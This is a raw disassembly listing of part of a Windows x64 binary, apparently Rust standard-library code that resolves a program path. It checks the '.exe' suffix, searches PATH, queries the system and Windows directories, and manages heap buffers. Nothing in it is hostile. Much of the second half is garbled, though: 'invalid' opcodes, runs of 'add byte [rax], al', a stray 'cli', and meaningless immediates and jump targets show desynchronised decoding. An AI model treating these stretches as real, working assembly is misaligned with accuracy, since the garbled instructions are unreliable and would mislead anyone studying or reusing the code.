jne 0x140082810
not r8
add r8, rdx
mov rcx, r8
add rdx, 0xfffffffffffffffe
cmp rdx, 7
jb 0x1400828be
nop dword [rax]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
mov eax, dword [rax + rdx*8 + 0x3d8]
mov eax, dword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140082840
movzx ecx, word [rax + 0x3d2]
dec rcx
mov qword [rbp + 0x490], rax
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x4a0], rcx
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x490]
lea r8, [rbp + 0x3e0]
call fcn.140088600
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x480], rax
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x470], xmm0
movdqu xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmm2, xmmword [rbp - 0x10]
movups xmm3, xmmword [rbp]
movaps xmmword [rbp + 0x460], xmm3
movaps xmmword [rbp + 0x450], xmm2
movaps xmmword [rbp + 0x440], xmm1
movdqa xmmword [rbp + 0x430], xmm0
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
movzx ecx, word [rdx + 0x3d2]
cmp rax, rcx
jae 0x14008298a
mov rcx, rdx
mov ecx, edx
jmp 0x1400829b9
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x4f8], 0
mov qword [rbp + 0x500], rcx
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x4f0]
add byte [rax], al
add byte [rax], al
lea r8, [rbp + 0x3e0]
call fcn.140088600
jmp 0x140082aab
mov r8, qword [rbp + 0x30]
nop
mov rcx, qword [rdx + 0x160]
test rcx, rcx
je 0x1400829b4
movzx eax, word [rdx + 0x3d0]
inc r8
mov rdx, rcx
cmp ax, word [rcx + 0x3d2]
jae 0x140082990
jmp 0x1400829b9
mov rax, r8
xor ecx, ecx
imul rdx, rax, 0x38
shl rax, 5
mov r8, qword [rcx + rdx + 0x198]
mov qword [rbp + 0x520], r8
movups xmm0, xmmword [rcx + rdx + 0x168]
movups xmm1, xmmword [rcx + rdx + 0x178]
movups xmm2, xmmword [rcx + rdx + 0x188]
movaps xmmword [rbp + 0x510], xmm2
movaps xmmword [rbp + 0x500], xmm1
movaps xmmword [rbp + 0x4f0], xmm0
mov r8, qword [rbp + 0x460]
mov qword [rcx + rdx + 0x198], r8
movaps xmm0, xmmword [rbp + 0x430]
movaps xmm1, xmmword [rbp + 0x440]
movaps xmm2, xmmword [rbp + 0x450]
movups xmmword [rcx + rdx + 0x188], xmm2
movups xmmword [rcx + rdx + 0x178], xmm1
movups xmmword [rcx + rdx + 0x168], xmm0
movups xmm0, xmmword [rcx + rax]
movups xmm1, xmmword [rcx + rax + 0x10]
lea rdx, [rbp + 0x528]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0x468]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + rax], xmm0
movups xmmword [rcx + rax + 0x10], xmm1
mov rax, qword [rbp + 0x540]
mov qword [rbp + 0x20], rax
movaps xmm0, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [rbp + 0x4f0]
movaps xmm1, xmmword [rbp + 0x500]
movaps xmm2, xmmword [rbp + 0x510]
movaps xmm3, xmmword [rbp + 0x520]
movaps xmmword [rbp], xmm3
movaps xmmword [rbp - 0x10], xmm2
movaps xmmword [rbp - 0x20], xmm1
movdqa xmmword [rbp - 0x30], xmm0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x540], rax
movaps xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x530], xmm0
movdqa xmm0, xmmword [rbp - 0x30]
movaps xmm1, xmmword [rbp - 0x20]
movaps xmm2, xmmword [rbp - 0x10]
movaps xmm3, xmmword [rbp]
movaps xmmword [rbp + 0x520], xmm3
movaps xmmword [rbp + 0x510], xmm2
dec qword [rbp + 0x4d0]
movaps xmmword [rbp + 0x500], xmm1
movdqa xmmword [rbp + 0x4f0], xmm0
cmp byte [rbp + 0x3e0], 0
je 0x140082b3d
test r13, r13
je 0x140085806
mov rax, qword [rdi + 0x3d8]
mov qword [rbp + 0x4c0], rax
dec r13
mov qword [rbp + 0x4c8], r13
mov qword [rax + 0x160], 0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rbp + 0x520], 2
mov eax, 0
mov r13, rsi
mov r8, r12
je 0x140082339
mov r13, r15
mov r14, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x530]
mov qword [rbp + 0x5b8], rax
movzx r15d, byte [rbp + 0x540]
cmp qword [rbp + 0x510], 0
je 0x140082bad
mov r8, qword [rbp + 0x508]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r12
test rdi, rdi
je 0x140082bc7
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r12
mov eax, 0
cmp r15b, 2
mov r15, r13
mov r13, rsi
je 0x140082339
mov eax, 0
cmp qword [rbp + 0x5b8], 0
je 0x140082339
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r12
xor eax, eax
jmp 0x140082339
mov rax, qword [rbp + 0x4d0]
mov qword [rbp + 0x408], rax
movdqu xmm0, xmmword [rbp + 0x4c0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov qword [rbp + 0x3f0], 1
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140082c64
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140085823
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140085823
mov dword [rax], 0x48544150
mov rcx, rax
add rcx, 4
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x4f8], rcx
mov word [rbp + 0x500], 0
lea rcx, [rbp + 0x430]
mov qword [rbp + 0x598], rax
lea rdx, [rbp + 0x4f0]
call fcn.140086aa0
mov rax, qword [rbp + 0x598]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 4
mov qword [rbp - 8], 4
mov byte [rbp], 0
mov eax, dword [rbp + 0x560]
mov ecx, dword [rbp + 0x563]
mov dword [rbp + 1], eax
mov dword [rbp + 4], ecx
movdqu xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp - 0x30], xmm0
mov rbx, qword [rbp + 0x440]
mov qword [rbp - 0x20], rbx
mov rsi, qword [rbp - 0x30]
mov r14, qword [rbp + 0x3f8]
test r14, r14
je 0x140082de3
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x5b8], rax
mov r13, qword [sym.imp.kernel32.dll_CompareStringOrdinal]
lea rcx, [r14 + 0x168]
movzx eax, word [r14 + 0x3d2]
mov qword [rbp + 0x5a8], rax
imul rdi, rax, 0x38
mov r12, 0xffffffffffffffff
nop dword [rax]
test rdi, rdi
je 0x140082d90
lea r15, [rcx + 0x38]
mov r8, qword [rcx]
mov r9d, dword [rcx + 0x10]
mov dword [rsp + 0x20], 1
mov rcx, rsi
mov edx, ebx
call r13
add rdi, 0xffffffffffffffc8
inc r12
mov rcx, r15
cmp eax, 3
je 0x140082d50
cmp eax, 1
jne 0x140082dbc
jmp 0x140082d97
mov r12, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5b8]
sub rax, 1
jb 0x140083240
mov qword [rbp + 0x5b8], rax
mov r14, qword [r14 + r12*8 + 0x3d8]
jmp 0x140082d2b
cmp eax, 2
jne 0x1400856b4
test r14, r14
mov r13, qword [rbp + 0x5a0]
je 0x140082def
shl r12, 5
mov rax, qword [r14 + r12]
mov rdi, qword [r14 + r12 + 0x10]
mov r12, rax
jmp 0x140082df2
xor r12d, r12d
mov r13, qword [rbp + 0x5a0]
jmp 0x140082df2
xor r12d, r12d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x598]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp - 0x28], 0
je 0x140082e21
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rbp + 0x588]
mov r15, qword [rdx + 0x40]
lea rbx, str.program_path_has_no_file_name
test r15, r15
je 0x140083dd9
mov rdx, qword [rdx + 0x30]
cmp r15, 4
jae 0x140082e4f
lea rax, [0x140088b90]
jmp 0x140082e77
mov eax, dword [rdx]
bswap eax
xor ecx, ecx
cmp eax, 0x5c5c3f5c
setb cl
cmp eax, 0x5c5c3f5d
adc ecx, 0xffffffff
lea rcx, [0x140088b80]
lea rax, [0x140088b90]
cmove rax, rcx
mov qword [rbp + 0x5b8], rdx
movzx esi, byte [r15 + rdx - 1]
mov byte [rbp + 0x5c7], 1
mov ecx, esi
call rax
test al, al
mov r13, qword [rbp + 0x5a0]
jne 0x140083dd9
cmp r15, 3
jbe 0x140082f0b
mov rbx, qword [rbp + 0x5b8]
movzx eax, byte [r15 + rbx - 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2e
jne 0x140082f16
movzx eax, byte [rbx + r15 - 3]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x140082f16
movzx eax, byte [rbx + r15 - 2]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x78
jne 0x140082f16
lea eax, [rsi - 0x41]
cmp al, 0x1a
setb al
shl al, 5
or al, sil
cmp al, 0x65
sete al
jmp 0x140082f18
xor eax, eax
mov rbx, qword [rbp + 0x5b8]
jmp 0x140082f18
xor eax, eax
lea r14, [rbx + r15]
xor ecx, ecx
nop
cmp r15, rcx
je 0x140082f98
movzx edx, byte [rbx + rcx]
cmp edx, 0x2f
je 0x140082f36
inc rcx
cmp edx, 0x5c
jne 0x140082f20
test al, al
mov qword [rbp + 0x4a8], r14
je 0x140083073
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp - 0x30]
mov rdx, rbx
mov r8, r15
call case.0x14002753a.1010
mov rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
test rcx, rcx
je 0x1400831bc
mov rdx, qword [rbp - 0x20]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp - 0x30]
call fcn.140088ba0
jmp 0x1400831ce
xor r8d, r8d
lea r11, str.nul_byte_found_in_provided_data
mov rax, rbx
jmp 0x140082fbc
xor r8d, r8d
test cx, cx
je 0x1400831b4
mov cx, 1
test r8w, r8w
jne 0x140082fb0
cmp rax, r14
je 0x14008320d
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x140082fe0
inc rax
jmp 0x140083042
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140083034
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x14008304c
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
cmp edx, 0xffff
jbe 0x140083042
jmp 0x14008305f
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
xor r8d, r8d
mov ecx, edx
jmp 0x140082fb3
add rax, 3
shl r8d, 0xc
or edx, r8d
cmp edx, 0xffff
jbe 0x140083042
and edx, 0x3ff
or edx, 0xdc00
mov r8d, edx
jmp 0x140082fb3
test r15, r15
js 0x140085905
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x1400830a8
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400858ec
mov rcx, rax
mov qword [0x1400f0220], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400858ec
mov rsi, rax
mov rcx, rax
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x4f0], rsi
mov qword [rbp + 0x4f8], r15
mov qword [rbp + 0x500], r15
mov byte [rbp + 0x508], 0
mov rax, qword [rbp + 0x500]
mov qword [rbp - 0x20], rax
movzx eax, byte [rbp + 0x508]
mov byte [rbp - 0x18], al
mov eax, dword [rbp + 0x509]
mov dword [rbp - 0x17], eax
movzx eax, word [rbp + 0x50d]
mov word [rbp - 0x13], ax
movzx eax, byte [rbp + 0x50f]
mov byte [rbp - 0x11], al
mov rax, qword [rbp + 0x4f0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x28], rax
lea rdx, str..exeprogram_not_found
lea rcx, [rbp - 0x30]
mov r8d, 4
call fcn.14007cba0
movdqa xmm0, xmmword [rbp - 0x30]
movaps xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x500], xmm1
movdqa xmmword [rbp + 0x4f0], xmm0
mov rsi, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x500]
mov byte [rbp + 0x596], 1
lea rcx, [rbp + 0x430]
mov rdx, rsi
mov r8, rdi
call fcn.140088c70
cmp qword [rbp + 0x430], 0
je 0x1400831da
mov rax, qword [rbp + 0x440]
mov qword [rbp + 0x4d0], rax
movdqu xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x4c0], xmm0
jmp 0x140083c05
mov rbx, r11
jmp 0x140083dd9
mov qword [rbp + 0x4c8], rax
mov qword [rbp + 0x4c0], 0
mov r13, qword [rbp + 0x5a0]
jmp 0x140083c28
mov rcx, rsi
mov rdx, rdi
call fcn.140081170
test rax, rax
je 0x140083bb5
cmp rdx, 2
jne 0x14008324f
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne 0x14008324f
mov r8d, 2
mov r9, rax
jmp 0x140083b8b
cmp r15, 0xf
mov qword [rbp + 0x4a8], r14
ja 0x140083295
xor eax, eax
mov qword [rbp + 0x580], rax
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rbx + rax], 0x2e
je 0x1400832a9
inc rax
cmp r15, rax
jne 0x140083230
jmp 0x1400832b5
mov r13, qword [rbp + 0x5a0]
xor r12d, r12d
jmp 0x140082df2
xor r9d, r9d
mov r8, rdx
nop word cs:[rax + rax]
test r8, r8
je 0x1400832a4
mov rcx, r8
dec r8
cmp byte [rax + rcx - 1], 0x2e
jne 0x140083260
mov r10, rdx
sub r10, rcx
jb 0x140085947
test r8, r8
je 0x140083b85
mov r9, rax
add rax, rcx
mov rdx, r10
jmp 0x140083b8d
mov cl, 0x2e
mov rdx, rbx
mov r8, r15
call fcn.140040eb0
jmp 0x1400832ae
jmp 0x140083b8d
mov eax, 1
mov qword [rbp + 0x580], rax
test r12, r12
je 0x1400832fe
add rdi, r12
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x438], rdi
mov word [rbp + 0x440], 0
mov byte [rbp + 0x448], 1
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x430]
call fcn.14007c6d0
movzx eax, byte [rbp - 0x18]
cmp al, 2
jne 0x1400835f8
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp + 0x430]
call fcn.14007c940
cmp byte [rbp + 0x448], 2
jne 0x140083332
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp + 0x430]
call fcn.1400791f0
jmp 0x140083413
movdqu xmm0, xmmword [rbp + 0x430]
movups xmm1, xmmword [rbp + 0x440]
movdqa xmmword [rbp + 0x4f0], xmm0
movaps xmmword [rbp + 0x500], xmm1
mov rcx, qword [rbp + 0x4f0]
mov rsi, qword [rbp + 0x500]
mov byte [rbp + 0x595], 1
mov rdx, rsi
call fcn.14007f6b0
test rax, rax
mov r8, qword [rbp + 0x5b8]
je 0x140083385
cmp rsi, rdx
jb 0x140083385
mov qword [rbp + 0x500], rdx
movdqa xmm0, xmmword [rbp + 0x4f0]
mov rax, qword [rbp + 0x500]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x508]
mov qword [rbp - 0x18], rax
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
mov rdx, r8
mov r8, r15
call fcn.14007e690
cmp qword [rbp + 0x580], 1
je 0x1400833ca
lea rcx, [rbp - 0x30]
call fcn.1400812a0
mov rsi, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rbp + 0x560]
mov rdx, rsi
call fcn.140088c70
cmp qword [rbp - 0x28], 0
je 0x1400833fa
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, qword [rbp + 0x560]
test r9, r9
je 0x140083413
movdqu xmm6, xmmword [rbp + 0x568]
jmp 0x1400839af
mov qword [rbp + 0x490], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x498], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5a8], rax
xor eax, eax
mov qword [rbp + 0x598], rax
xor r14d, r14d
xor r13d, r13d
cmp r8, 0x201
jb 0x14008346f
jmp 0x140083480
jae 0x14008354a
cmp r8, 0x201
jae 0x140083480
mov edi, 0x200
lea rsi, [rbp - 0x30]
mov rbx, r8
jmp 0x1400834e3
sub r8, r13
sub r14, r13
cmp r14, r8
jae 0x1400834b6
lea rcx, [rbp + 0x490]
mov rdx, r13
call fcn.1400a3250
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0x598], rax
mov r14, qword [rbp + 0x598]
mov eax, 0xffffffff
cmp r14, rax
mov r13d, 0xffffffff
cmovb r13, r14
mov qword [rbp + 0x4a0], r13
mov rdi, r13
mov rsi, qword [rbp + 0x5a8]
mov rbx, r13
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, rsi
mov edx, ebx
call qword [sym.imp.kernel32.dll_GetSystemDirectoryW]
mov r12d, eax
test eax, eax
jne 0x14008350b
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14008370c
mov r8d, r12d
cmp rbx, r8
jne 0x140083460
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008583e
add rbx, rbx
mov eax, 0xffffffff
cmp rbx, rax
cmovae rbx, rax
mov r8, rbx
cmp r8, 0x201
jae 0x140083480
jmp 0x14008346f
cmp rdi, r8
jb 0x140085930
lea rcx, [rbp + 0x4f0]
mov rdx, rsi
call fcn.1400792e0
lea rcx, [rbp + 0x4f0]
mov rdx, qword [rbp + 0x5b8]
mov r8, r15
call fcn.14007e690
cmp qword [rbp + 0x580], 1
je 0x14008358e
lea rcx, [rbp + 0x4f0]
call fcn.1400812a0
mov rsi, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x500]
lea rcx, [rbp + 0x560]
mov rdx, rsi
call fcn.140088c70
cmp qword [rbp + 0x4f8], 0
je 0x1400835c7
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x560]
movdqu xmmword [rbp + 0x438], xmm0
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x448], rax
mov qword [rbp + 0x430], 0
mov sil, 1
jmp 0x14008372e
lea r14, [rbp - 0x17]
lea r13, [rbp + 0x509]
lea rsi, [rbp - 0x30]
lea rdi, [rbp + 0x430]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x140078c13.402
mov byte [rbp + 0x5c7], 1
mov rcx, rsi
mov rdx, rdi
mov dword [0x18809362c], 0x8948f189
cli
call fcn.14007c6d0
movzx eax, byte [rbp - 0x18]
cmp al, 2
je 0x1400832fe
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x20]
test rdx, rdx
jne 0x140083661
test rcx, rcx
je 0x140083620
mov rcx, qword [0x1400f0220]
xor edx, edx
call rbx
jmp 0x140083620
add byte [rcx], dh
sar bh, cl
shr ebx, cl
mov edi, 0x450e8b45
mov edx, dword [rsi + 3]
mov r9d, dword [r14]
mov r10d, dword [r14 + 3]
mov dword [r13 + 3], r10d
mov dword [r13], r9d
mov qword [rbp + 0x4f0], r8
add byte [rax - 0x77], cl
invalid
clc
add al, 0
add byte [rax - 0x77], cl
xchg ebp, eax
add byte [0xc5903687], al
or byte [0xcd50368d], al
invalid
invalid
add al, 0
add byte [rax - 0x75], cl
xchg ebp, eax
mov eax, 0x4d000005
mov eax, edi
call fcn.14007e690
cmp qword [rbp + 0x580], 1
je 0x1400836b7
add byte [rax - 0x77], cl
invalid
lea rcx, [rbp + 0x4f0]
call fcn.1400812a0
mov r12, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x500]
add eax, 0x89480000
int1
add eax, 0x89480000
int1
mov rdx, r12
call fcn.140088c70
cmp qword [rbp + 0x4f8], 0
je 0x1400836e8
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call rbx
mov r9, qword [rbp - 0x30]
test r9, r9
jne 0x140084a50
adc eax, dword [rax]
invalid
adc eax, dword [rax]
add dh, al
test edi, eax
add eax, 0x48010000
mov ecx, esi
mov byte [rbp + 0x5c7], 1
mov rcx, rsi
mov rdx, rdi
call fcn.14007c6d0
jmp 0x140083632
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x430], 1
xor esi, esi
cmp qword [rbp + 0x598], 0
je 0x14008374e
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
je 0x140083763
mov r9, qword [rbp + 0x438]
test r9, r9
jne 0x1400839a7
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp + 0x430]
call fcn.140088d50
mov qword [rbp + 0x490], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x498], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5a8], rax
xor eax, eax
mov qword [rbp + 0x598], rax
xor r14d, r14d
xor r13d, r13d
cmp r8, 0x201
jb 0x1400837cf
jmp 0x1400837e0
jae 0x1400838a9
cmp r8, 0x201
jae 0x1400837e0
mov edi, 0x200
lea r12, [rbp - 0x30]
mov rbx, r8
jmp 0x140083843
sub r8, r13
sub r14, r13
cmp r14, r8
jae 0x140083816
lea rcx, [rbp + 0x490]
mov rdx, r13
call fcn.1400a3250
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0x598], rax
mov r14, qword [rbp + 0x598]
mov eax, 0xffffffff
cmp r14, rax
mov r13d, 0xffffffff
cmovb r13, r14
mov qword [rbp + 0x4a0], r13
mov rdi, r13
mov r12, qword [rbp + 0x5a8]
mov rbx, r13
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r12
mov edx, ebx
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
mov esi, eax
test eax, eax
jne 0x14008386a
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140083954
mov r8d, esi
cmp rbx, r8
jne 0x1400837c0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008585b
add rbx, rbx
mov eax, 0xffffffff
cmp rbx, rax
cmovae rbx, rax
mov r8, rbx
cmp r8, 0x201
jae 0x1400837e0
jmp 0x1400837cf
invalid
cmp rdi, r8
jb 0x140085955
lea rcx, [rbp + 0x4f0]
mov rdx, r12
call fcn.1400792e0
lea rcx, [rbp + 0x4f0]
mov rdx, qword [rbp + 0x5b8]
mov r8, r15
call fcn.14007e690
cmp qword [rbp + 0x580], 1
je 0x1400838ed
lea rcx, [rbp + 0x4f0]
call fcn.1400812a0
mov rdi, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x500]
lea rcx, [rbp + 0x560]
mov rdx, rdi
call fcn.140088c70
cmp qword [rbp + 0x4f8], 0
je 0x140083926
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x560]
movdqu xmmword [rbp + 0x438], xmm0
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x448], rax
mov qword [rbp + 0x430], 0
mov sil, 1
jmp 0x140083976
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x430], 1
xor esi, esi
cmp qword [rbp + 0x598], 0
je 0x140083996
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
je 0x1400839ca
mov r9, qword [rbp + 0x438]
test r9, r9
je 0x1400839ca
movdqu xmm6, xmmword [rbp + 0x440]
mov r8, qword [rbp + 0x588]
movq rbx, xmm6
pshufd xmm0, xmm6, 0xee
movq r10, xmm0
jmp 0x140083c4d
mov byte [rbp + 0x5c7], 1
lea rcx, [rbp + 0x430]
call fcn.140088d50
mov byte [rbp + 0x5c7], 1
lea rdx, str.PATHlibrary_std_src_sys_commonprocess.rs
lea rcx, [rbp + 0x560]
lea esp, [rax + 5]
add byte [rax], al
lea esp, [rax + 5]
add byte [rax], al
mov r8d, 4
call fcn.14007ad00
cmp byte [rbp + 0x578], 2
je 0x140083b72
invalid
add byte [rax - 0x75], cl
lea esp, [rax + 5]
add byte [rax], al
mov rcx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x568]
test dword [rax + 5], ebp
add byte [rax], al
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x570]
add rax, rcx
mov qword [rbp + 0x5a8], rcx
invalid
add byte [rax + 1], cl
enter 0xffffffffffff8948, 0xffffffffffffff8d
test al, 5
add byte [rax], al
invalid
add byte [rax - 0x77], cl
lea esi, [rax]
add al, 0
add byte [rax - 0x77], cl
test dword [rax], edi
cmp byte [rax + rax], al
mov qword [rbp + 0x430], rcx
mov qword [rbp + 0x438], rax
cmp byte [rax + rax], al
add byte [rsi - 0x39], ah
test dword [rax + 4], eax
add al, 0
add byte [rax], al
invalid
cmp byte [rax + rax], al
add byte [rsi - 0x39], ah
test dword [rax + 4], eax
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
add dh, al
test dword [rax + 4], ecx
mov byte [rbp + 0x448], 1
lea r14, [rbp - 0x17]
lea rsi, [rbp + 0x509]
lea rdi, [rbp - 0x30]
lea rbx, [rbp + 0x430]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
invalid
pop rax
add al, byte [rax]
add bl, ch
invalid
add byte [rax], al
add dword [rbp + rcx*4 + 0x75], ecx
jmp 0x149bdc79e
invalid
add bl, ch
or eax, 0xd0458b48
mov rax, qword [rbp - 0x30]
test rax, rax
jne 0x1400852e9
mov rcx, rdi
mov rdx, rbx
call fcn.14007c6d0
jmp 0x140083a92
mov rcx, rdi
mov rdx, rbx
call fcn.14007c6d0
movzx eax, byte [rbp - 0x18]
cmp al, 2
je 0x140083b52
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x20]
test rdx, rdx
fmul dword [rax - 0x75]
push rbp
loopne 0x140083af3
test edx, edx
jne 0x140083ac2
test rcx, rcx
je 0x140083a87
invalid
ror dword [rax - 0x75], cl
or eax, 0x6c765
mov rcx, qword [0x1400f0220]
xor edx, edx
call r13
jmp 0x140083a87
mov r9d, dword [r14]
mov r10d, dword [r14 + 3]
mov dword [rsi + 3], r10d
push rsi
add eax, dword [rcx + rcx*4 + 0xe]
push rsi
add eax, dword [rcx + rcx*4 + 0xe]
mov qword [rbp + 0x4f0], r8
mov qword [rbp + 0x4f8], rcx
mov qword [rbp + 0x500], rdx
add byte [rax], al
test eax, esi
add al, 0
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
mov byte [rbp + 0x508], al
lea rcx, [rbp + 0x4f0]
mov rdx, qword [rbp + 0x5b8]
mov edx, dword [rbp + 0x5b8]
mov r8, r15
call fcn.14007e690
cmp qword [rbp + 0x580], 1
add byte [rax], al
invalid
je 0x140083b17
add byte [rax], al
